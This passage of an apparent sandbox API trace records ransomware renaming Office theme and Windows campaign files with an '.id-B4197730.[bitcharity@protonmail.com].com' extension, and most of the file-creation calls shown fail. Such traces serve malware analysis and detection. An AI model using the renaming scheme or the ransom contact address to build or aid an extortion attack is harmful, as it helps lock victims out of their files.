lpNewFilePointer=0x0) returned 1 [0274.635] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LEVEL\\PREVIEW.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\level\\preview.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.635] CloseHandle (hObject=0x10bc) returned 1 [0274.635] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.635] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LEVEL\\THMBNAIL.PNG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\level\\thmbnail.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.636] CloseHandle (hObject=0x10bc) returned 1 [0274.640] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.641] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\NETWORK\\PREVIEW.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\network\\preview.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.641] CloseHandle (hObject=0x1074) returned 1 [0274.641] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.641] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\NETWORK\\THMBNAIL.PNG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\network\\thmbnail.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.642] CloseHandle (hObject=0x1074) returned 1 [0274.643] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.643] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PAPYRUS\\PREVIEW.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\papyrus\\preview.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.643] CloseHandle (hObject=0x1074) returned 1 [0274.643] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.644] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PAPYRUS\\THMBNAIL.PNG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\papyrus\\thmbnail.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.644] CloseHandle (hObject=0x1074) returned 1 [0274.644] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.644] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PIXEL\\PREVIEW.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\pixel\\preview.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.645] CloseHandle (hObject=0x1074) returned 1 [0275.567] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.567] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STUDIO\\PREVIEW.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\studio\\preview.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.818] CloseHandle (hObject=0x10bc) returned 1 [0275.850] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.850] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.850] CreateFileW (lpFileName="C:\\Program Files\\rempl\\rempl.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\rempl\\rempl.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.850] CloseHandle (hObject=0x10bc) returned 1 [0275.852] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.852] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.852] CreateFileW (lpFileName="C:\\Program Files\\rempl\\Unlock.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\rempl\\unlock.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.852] CloseHandle (hObject=0x10bc) returned 1 [0275.853] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.853] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.853] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\CampaignCatalog.json.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigncatalog.json.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.853] CloseHandle (hObject=0x10bc) returned 1 [0275.854] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.854] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.854] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Config_131491847713900000.json.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\config_131491847713900000.json.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.855] CloseHandle (hObject=0x10bc) returned 1 [0275.863] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.863] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.863] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ar-sa\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ar-sa\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.863] CloseHandle (hObject=0x118c) returned 1 [0275.864] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.864] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.864] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ar-sa\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ar-sa\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.864] CloseHandle (hObject=0x118c) returned 1 [0275.866] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.866] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.866] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ar-sa\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ar-sa\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.866] CloseHandle (hObject=0x118c) returned 1 [0275.867] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.867] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.867] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ar-sa\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ar-sa\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.867] CloseHandle (hObject=0x118c) returned 1 [0275.876] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.876] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.877] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\bg-BG\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\bg-bg\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.877] CloseHandle (hObject=0x112c) returned 1 [0275.878] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.878] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.878] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\bg-BG\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\bg-bg\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.878] CloseHandle (hObject=0x112c) returned 1 [0275.879] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.879] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.879] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\bg-BG\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\bg-bg\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.880] CloseHandle (hObject=0x112c) returned 1 [0275.880] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.880] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.881] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\bg-BG\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\bg-bg\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.881] CloseHandle (hObject=0x112c) returned 1 [0275.884] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.885] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.885] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ca-es\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.885] CloseHandle (hObject=0x112c) returned 1 [0275.885] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.886] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.886] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ca-es\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.886] CloseHandle (hObject=0x112c) returned 1 [0275.887] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.887] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.887] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ca-es\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.887] CloseHandle (hObject=0x112c) returned 1 [0275.888] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.888] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.888] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ca-es\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.888] CloseHandle (hObject=0x112c) returned 1 [0275.982] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.982] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.982] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES-valencia\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ca-es-valencia\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.982] CloseHandle (hObject=0x10bc) returned 1 [0276.052] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.052] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.052] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\el-GR\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\el-gr\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.052] CloseHandle (hObject=0x1168) returned 1 [0276.053] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.053] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.053] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\el-GR\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\el-gr\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.054] CloseHandle (hObject=0x1168) returned 1 [0276.055] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.055] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.055] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\el-GR\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\el-gr\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.055] CloseHandle (hObject=0x1168) returned 1 [0276.059] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.060] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.060] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-AU\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-au\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.060] CloseHandle (hObject=0x1168) returned 1 [0276.061] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.061] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, 